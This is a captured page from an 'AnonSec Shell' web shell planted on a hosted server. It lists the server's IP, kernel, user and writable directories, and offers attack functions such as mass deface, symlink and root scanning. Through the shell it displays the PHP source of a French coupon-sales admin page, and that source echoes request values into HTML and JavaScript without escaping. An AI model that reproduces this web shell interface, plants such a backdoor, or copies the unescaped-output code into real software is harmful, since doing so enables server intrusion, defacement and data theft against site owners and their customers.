. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : dealkatnwc ( 662330)
PHP Version : 7.0.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/dealkatnwc/www/GDEAL/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/dealkatnwc/www/GDEAL/pages/vendre.php
<?php
include 'class/coupon.class.php';
?>
<!DOCTYPE html>
<html lang="en">

<head>
<?php include 'header.php';?>
</head>

<body>

    <div id="wrapper">
<?php include 'menu.php'; ?>
<?php if (!(he_can('VENDRE'))) {echo "<script>location.href = '403.php';</script>";}?>

<?php 
$managerCou = new CouponManager($db);
$message ='';
$class_msg='';
if (isset($_GET['msg']))
{
	
// if (($_GET['msg']== 1)&&(isset($_GET['c'])))
	// {
	
	// $coupon = $managerCou->get((int) $_GET['c']);		   	
	// $class_msg="alert alert-success ";
	
	// $message = "<b>Coupon ajouter. <br> Le numéro de commande est ".$coupon->code_cmd().". </b>";
    // $message .="<div class='btn-group'>";
	// $message .="<a type='button' href='".$coupon_dir."coupon-pdf.php?id_coup=".$_GET['c']."'' target='_blanc' class='btn btn-info'><i class='fas fa-print'></i> Imprimer</a>";
	// }
	
// if (($_GET['msg']== 2)&&(isset($_GET['c'])))
	// {
	
	// $coupon = $managerCou->get((int) $_GET['c']);		   	
	// $class_msg="alert alert-info";
	
	// $message .="<div class='btn-group'>";
	// $message = "<b>Reservation enregistrer. <br> Le numéro de commande est ".$coupon->code_cmd().". </b>";
	// }
	// $message .="<a type='button' href='coupons.php?query=".$coupon->code_cmd()."'  class='btn btn-info'><i class='fas fa-eye'></i> Voir</a>";
	// $message .= "</div>";




$coupon = $managerCou->get((int) $_GET['c']);


if (($_GET['msg']== 1)&&(isset($_GET['c'])))
{$class_msg="alert alert-success ";
$message .= "<b>Coupon ajouter. <br> Le numéro de commande est ".$coupon->code_cmd().". </b>";
$message .="<br><div class='btn-group'>";
$message .="<a type='button' href='".$coupon_dir."coupon-pdf.php?id_coup=".$_GET['c']."'' target='_blanc' class='btn btn-primary btn-sm' title='Imprimer le coupon' data-toggle='tooltip' data-placement='top'><i class='fad fa-print'></i>&nbsp;Imprimer le coupon</a>";
$message .="<a type='button' href='".$coupon_dir."bondecommande.php?id_coup=".$_GET['c']."'' target='_blanc' class='btn btn-info btn-sm'  title='Imprimer la bon de commande' data-toggle='tooltip' data-placement='top'><i class='fad fa-file-word'></i>&nbsp;Imprimer la Bon de commande</a>";

}

if (($_GET['msg']== 2)&&(isset($_GET['c'])))
{$class_msg="alert alert-info";
$message .= "<b>Reservation enregistrer. <br> Le numéro de commande est ".$coupon->code_cmd().". </b>";
$message .="<br><div class='btn-group'>";
}

$message .="<a type='button' href='couponsrapide.php?query=".$coupon->code_cmd()."'  class='btn btn-warning btn-sm'><i class='fad fa-eye'></i>&nbsp;Voir</a>";
$message .="<a class='btn btn-success btn-sm' role='button' data-toggle='collapse' href='#vente-form' aria-expanded='false' aria-controls='vente-form'><i class='fad fa-plus'></i>&nbsp;ajouter un nouveau</a>";
$message .= "</div>";
	
}



//////////////////  traitement  des action sur les coupons


if (isset($_POST['action']))
{
	// var_dump($_POST);die;
	// var_dump($_POST);die;
    if ($_POST['action'] == 'Ajouter')
    {

	$_POST['id_vendeur'] = $_SESSION['GDEAL']['user']['id'];
	$_POST['date_coupon'] = time();
    

	$co = new Coupon (array('deal_id' => $_POST['id_post'],
							'id_vendeur' => $_POST['id_vendeur'],
							'dealer_nom' => $_POST['dealer_nom'],
							'dealer_prenom' => $_POST['dealer_prenom'],
							'dealer_tel' => $_POST['dealer_tel'],
							'dealer_sex' => $_POST['dealer_sex'],
							'dealer_gouv' => $_POST['dealer_gouv'],
							'dealer_email' => $_POST['dealer_email'],
							'date_coupon' => $_POST['date_coupon'],
							'quantite' => $_POST['quantite'],
							'addr' => $_POST['addr'],
							'etat' => $_POST['etat'],
							'mailing' => 0,
							'recu' => 0,
							'pv' => $_POST['pv'],
							'av' => $_POST['av'],
							'rst' => $_POST['rst']
							));
				
	$id_coup = $managerCou->add($co);
			
	if (is_int ($id_coup))
	{

	/*************************************/
	// header('Location: '.$_SERVER['PHP_SELF'].'?msg=1&c='.$id_coup.'');exit();
	// header('Location: '.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'].'?msg=1&c='.$id_coup.'');exit();
	// if (($_POST['etat'] == 3)||($_POST['etat'] == 4))
	if ((he_can('CPPRINT'))&&(in_array($_POST['etat'], $etat_cp_canprint)))	
	{
		/* On incrémente le nombre d'achteurs */
	$managerCou->maj_nb_achteurs($_POST['id_post'],$_POST['quantite']);
	echo '<script language="javascript">window.location.href = "'.$_SERVER['PHP_SELF'].'?msg=1&c='.$id_coup.'"</script>';
	}
    
	if ($_POST['etat'] == 1){echo '<script language="javascript">window.location.href = "'.$_SERVER['PHP_SELF'].'?msg=2&c='.$id_coup.'"</script>';}
	}
	
   }
}

	
    $listeDeal = $managerCou->getListDealEnCours(); 		   
	// var_dump($listeDeal);
?>
        <!-- Page Content -->
        <div id="page-wrapper">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12">
                        <h1 class="page-header">Vente</h1>
                    </div>
                    <!-- /.col-lg-12 -->
                </div>
                <!-- /.row -->
			    <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default animated slideInUp" >
                        <div class="panel-heading">
                            <h3>INFO COUPON</h3>
                        </div>
                        <div class="panel-body">
									<?php  
										 if ($message !='')			
										 {echo '<div class="'.$class_msg.'  animated flash" role="alert"><i class="fad fa-exclamation-circle"></i> '.$message.'</div>';}
									?>
						<div class="collapse <?php if(!($_SERVER['QUERY_STRING'])){echo " in";} ?>" id="vente-form">
                                <table class="table table-striped table-condensed">
									<form name='frm' id='frm' action='' method='post'>
									<input type='hidden' name='action' value='Ajouter'>
									<?php

									?>
                                    <tbody>
										<tr>
                                            <th width='25%'>DEAL  <span class="asteriskField">*</span></th>
                                            <td >
											
											<?php 
											echo "<div  class='row'><div class='col-lg-12 col-xs-12'>
												<select name='id_post_s' id='id_post_s' class='selectpicker' data-width='auto' data-live-search='true'
												onchange=\"document.getElementById('infod').innerHTML = document.getElementById('infodeal'+this.options[this.selectedIndex].value).innerHTML;
												           document.getElementById('pu').innerHTML = document.getElementById('pp'+this.options[this.selectedIndex].value).value;
												           document.getElementById('pp').value = document.getElementById('pp'+this.options[this.selectedIndex].value).value;
												           document.getElementById('pv').value = document.getElementById('pp'+this.options[this.selectedIndex].value).value;
												           document.getElementById('pt').innerHTML = document.getElementById('pp'+this.options[this.selectedIndex].value).value * document.getElementById('q').value ;
														document.getElementById('id_post').value = this.options[this.selectedIndex].value;
												\" 
												required><option value='' selected>Veuillez choisir un deal</option>";	
												foreach ($listeDeal as $deal)
												{echo "<option  value='".$deal['id']."' > ".$deal['id'].' - '.substr($deal['titre'],0,80)."...</option>";}
												echo "</select>
												
												<input type='hidden' name='id_post' id='id_post' value=''>
												</div></div>";
											    
													foreach ($listeDeal as $deal)
													   {echo "<div id='infodeal".$deal['id']."' class='well well-sm col-lg-12 col-xs-12' style='display:none;'>".$deal['id'].' - '.$deal['titre']."<br>
													   Partenaire : <b>".$deal['p_nom']."</b><br>
													   Prix : <b>".$deal['prix_promo']."</b><sup>Dt.</sup> au lieu de <b><s>".$deal['prix_reel']."</s></b><sup>Dt.</sup> (<b>".$deal['nba']."</b> Ventes)<br>													
													   D. Fin : <b>".date('d-m-Y \à h:i ',$deal['df']) ."</b><br>
													   <a class='btn btn-info  btn-xs' href='".$home."/?p=".$deal['id']."' target='_blanc'><i class='fad fa-eye' style='color:#fff;' ></i>&nbsp;<b>VOIR LE DEAL</b></a>
													   </div>
													   <input id='pp".$deal['id']."' type='hidden' value='".$deal['prix_promo']."'>
													   ";}
													echo "<div id='infod' class='well well-sm'> <font color='red'>Veuillez choisir un deal</font></div>
													<input id='pp' type='hidden' value='0'>
													";
											?>
											
											</td>
                                        </tr>	

										<tr>                                        
										<th>Quantite  <span class="asteriskField">*</span> </th>
                                            <td>
											<div class='row'>
												<div class='col-xs-3'>
														<input type="number" class="form-control" name="quantite" id="q" pattern="^[0-9-]{1,70}$"  value="1" min="1" 
														onchange="
														        
															     ch_qte()
																 "
														required>
														
																<script>
																function ch_qte()
																{
																
														         document.getElementById('pt').innerHTML = document.getElementById('q').value * document.getElementById('pp').value;
														         document.getElementById('pv').value = document.getElementById('q').value * document.getElementById('pp').value;
																 
																 // document.getElementById('quantite').value = document.getElementById('q').value;
																 
																}
																</script>
												</div>
												<div class='col-xs-9' style="font-size: 24px;">												
												<span>&nbsp;x&nbsp;<span id='pu'>0</span><sup>Dt.</sup></span>		
												<span>&nbsp;=&nbsp;<b><span id='pt'>0</span><sup>Dt.</sup></b></span>		
												</div>
											</div>
											</td>
                                        </tr>
										<tr>
                                            <th>Etat  <span class="asteriskField">*</span> </th>
                                            <td><?php 
										
												echo "<select id='etat_s' name='etat_s' onchange='ch_addr()' class='selectpicker show-tick'>";
												echo "<option data-icon='fa-question-circle' value='' disabled selected>Modalité de Paiement</option>";
											foreach ($etat_coupon_vendeur as $key => $value)
											{
												echo "<option data-icon='".$coupon_code_only_icon[$key]."' value=".$key." style='color: ".$coupon_code_color[$key].";'>".$value."</option>";}
												
												echo "</select>
												<input type='hidden' name='etat' id='etat' value='3'>
												"; 
											
											
											?>
											
											
											</td>
                                        </tr>

										
										<tr>
                                            <th>Prénom  <span class="asteriskField">*</span> </th>
											<td><?php echo "<div class='form-group input-group'><span class='input-group-addon'> M/Mme/Mlle</span><input type='text' class='form-control' name='dealer_prenom' pattern='^[a-zA-Z0-9àâçéèêëîïôûùüÿñæœ _+-.,!@#$%^&*();\/|<>]{3,70}$' placeholder='Le prénom' title='Le prénom doit être composer des lettres  de taille varie entre 4 et 70 carractére' required></div>";?></td>
									   </tr>	
										<tr>
                                            <th>Nom  <span class="asteriskField">*</span> </th>
                                            <td><?php echo "<input type='text' class='form-control' name='dealer_nom' pattern='^[a-zA-Z0-9àâçéèêëîïôûùüÿñæœ _+-.,!@#$%^&*();\/|<>]{3,70}$' placeholder='Le nom' title='Le nom doit être composer des lettres  de taille varie entre 4 et 70 carractére' required>";?></td>
                                        </tr>
	
										<tr>
                                            <th>Téléphone  <span class="asteriskField">*</span> </th>
                                            <td><?php echo "<div class='form-group input-group'><span class='input-group-addon'> 00 ".$indicatif_tel."</span><input type='text' class='form-control' name='dealer_tel' pattern='^[0-9 +]{8,20}$' placeholder='Le numéro de téléphone' title='Le numéro de télépohne doit être composer entre 8 et 20 chiffres' required></div>";?></td>
										</tr>	
										<tr>
                                            <th>Email </th>
											<td><?php echo "<input type='email' class='form-control' name='dealer_email'  placeholder='L`adresse mail'>";?></td>
                                        </tr>
										<tr>
                                            <th>Sex </th>
											<td><?php echo "											
											<div class='radio radio-info radio-inline hvr-buzz-out' ><input type='radio' name='dealer_sex' value='homme' id='homme' required><label for='homme'><i class='fas fa-male' aria-hidden='true' style='color:#2859C9'>&nbsp;homme</i></label></div>
											<div class='radio radio-danger radio-inline hvr-buzz-out'><input type='radio' name='dealer_sex' value='Femme' id='Femme'><label for='Femme'><i class='fas fa-female' aria-hidden='true' style='color:#B92F77'>&nbsp;Femme</i></label></div>";?></td>
                                        </tr>
										
										<script>
										function ch_addr()
										{
											var e = document.getElementById("etat_s");
											var key = e.options[e.selectedIndex].value;
											/*if(key == 7)
											{document.getElementById("champs_address_livraison").style.visibility = "";
											 document.getElementById("champs_address_livraison").style.display = "";}
										    else
											{document.getElementById("champs_address_livraison").style.visibility = "hidden";
											 document.getElementById("champs_address_livraison").style.display = "none";}*/
											 
											document.getElementById('etat').value = key;
											// alert(key);
										}
										</script>
										<!-- tr class="warning" id="champs_address_livraison" style='display:none;'-->
										<tr class="warning" id="champs_address_livraison" >
                                            <th>Adresse de livraison</th>
											<td><?php echo "<input type='text' class='form-control' name='addr' pattern='^[a-zA-Z0-9àâçéèêëîïôûùüÿñæœ _+-.,!@#$%^&*();\/|<>]{1,100}$' placeholder='Adresse de livraison' value='' title='L'adresse doit être composer des lettres  de taille varie entre 1 et 100 carractére'>";?></td>
                                        </tr>
										
										<tr>
                                            <th>Gouvernorat <span class="asteriskField">*</span></th>
											<td><?php echo "
												<select id='dealer_gouv_s' name='dealer_gouv_s' aria-label='Gouvernorat' class='selectpicker' data-live-search='true' 
												onchange=\" document.getElementById('dealer_gouv').value = this.options[this.selectedIndex].value; \"
												required>
													<option  value='Ariana'>Ariana</option>
													<option  value='Beja'>Beja</option>
													<option  value='Ben Arous' selected>Ben Arous</option>
													<option  value='Bizerte'>Bizerte</option>
													<option  value='Gabes'>Gabes</option>
													<option  value='Gafsa'>Gafsa</option>
													<option  value='Jendouba'>Jendouba</option>
													<option  value='Kairouan'>Kairouan</option>
													<option  value='Kasserine'>Kasserine</option>
													<option  value='Kebili'>Kebili</option>
													<option  value='Kef'>Kef</option>
													<option  value='Mahdia'>Mahdia</option>
													<option  value='Manouba (La)'>Manouba (La)</option>
													<option  value='Medenine'>Medenine</option>
													<option  value='Monastir'>Monastir</option>
													<option  value='Nabeul'>Nabeul</option>
													<option  value='Sfax'>Sfax</option>
													<option  value='Sidi Bouzid'>Sidi Bouzid</option>
													<option  value='Silana'>Silana</option>
													<option  value='Sousse'>Sousse</option>
													<option  value='Tataouine'>Tataouine</option>
													<option  value='Tozeur'>Tozeur</option>
													<option  value='Tunis' >Tunis</option>
													<option  value='Zaghouan'>Zaghouan</option>
												</select>
												<input type='hidden' name='dealer_gouv' id='dealer_gouv' value='Ben Arous'>
											";?></td>
                                        </tr>	
								
										<tr>
                                        <th>Payement </th>
                                        <td>
										
										
										<div class="row">
										
										<div class="col-md-4 col-xs-12"><?php echo "<div class='form-group input-group'><span class='input-group-addon'><b>Tot:</b></span><input type='number' class='form-control' name='pv'  id='pv'  onkeyup='document.getElementById(\"rst\").value = document.getElementById(\"pv\").value - document.getElementById(\"av\").value;' placeholder='Totale'><span class='input-group-addon'><b>DT</b></span></div>";?></div>
                                   
										<div class="col-md-4 col-xs-12"><?php echo "<div class='form-group input-group'><span class='input-group-addon'><b>Av :</b></span><input type='number' class='form-control' name='av' id='av'  onkeyup='document.getElementById(\"rst\").value = document.getElementById(\"pv\").value - document.getElementById(\"av\").value;' placeholder='Avance'><span class='input-group-addon'><b>DT</b></span></div>";?></div>
										
										<div class="col-md-4 col-xs-12"><?php echo "<div class='form-group input-group'><span class='input-group-addon'><b>Rst :</b></span><input type='number' class='form-control' name='rst' id='rst'  placeholder='Reste'><span class='input-group-addon'><b>DT</b></span></div>";?></div>
                                       
										</div>
										
										
										
										</td>
										</tr>
										
										
										<tr>
                                            <th></th>
                                            <td>
											<button type="submit" class="btn btn-lg btn-primary btn-block hvr-wobble-horizontal"><i class="fad fa-save"></i> Enregistrer</button>
											
											</td>
                                        </tr>
                                    </tbody>
                                    </form>
                                </table>  
                        </div>
                        </div>
                          <!-- /.table-responsive -->
                        </div>
        
                    </div>
                </div>	
                </div>	
				
				
            </div>
            <!-- /.container-fluid -->
        </div>
        <!-- /#page-wrapper -->

    </div>
    <!-- /#wrapper -->

    <!-- jQuery -->
    <script src="../bower_components/jquery/dist/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="../bower_components/bootstrap/dist/js/bootstrap.min.js"></script>

    <!-- Metis Menu Plugin JavaScript -->
    <script src="../bower_components/metisMenu/dist/metisMenu.min.js"></script>

    <!-- Custom Theme JavaScript -->
    <script src="../dist/js/sb-admin-2.js"></script>
	<script src="../dist/js/bootstrap-select.js"></script>
    <script>
	$(function () {
		$('.selectpicker').selectpicker({iconBase: 'fad',tickIcon: 'fa-check'});
	
			  $('[data-toggle="tooltip"]').tooltip({html: true});
			  $('[data-toggle="popover"]').popover({html: true});
			  
			  $('body').on('click', function (e) {
					$('[data-toggle="popover"]').each(function () {
						if (!$(this).is(e.target) && $(this).has(e.target).length === 0 && $('.popover').has(e.target).length === 0) {$(this).popover('hide');}
					});
				});
			});
			

	</script>

</body>

</html>

Anon7 - 2022
AnonSec Team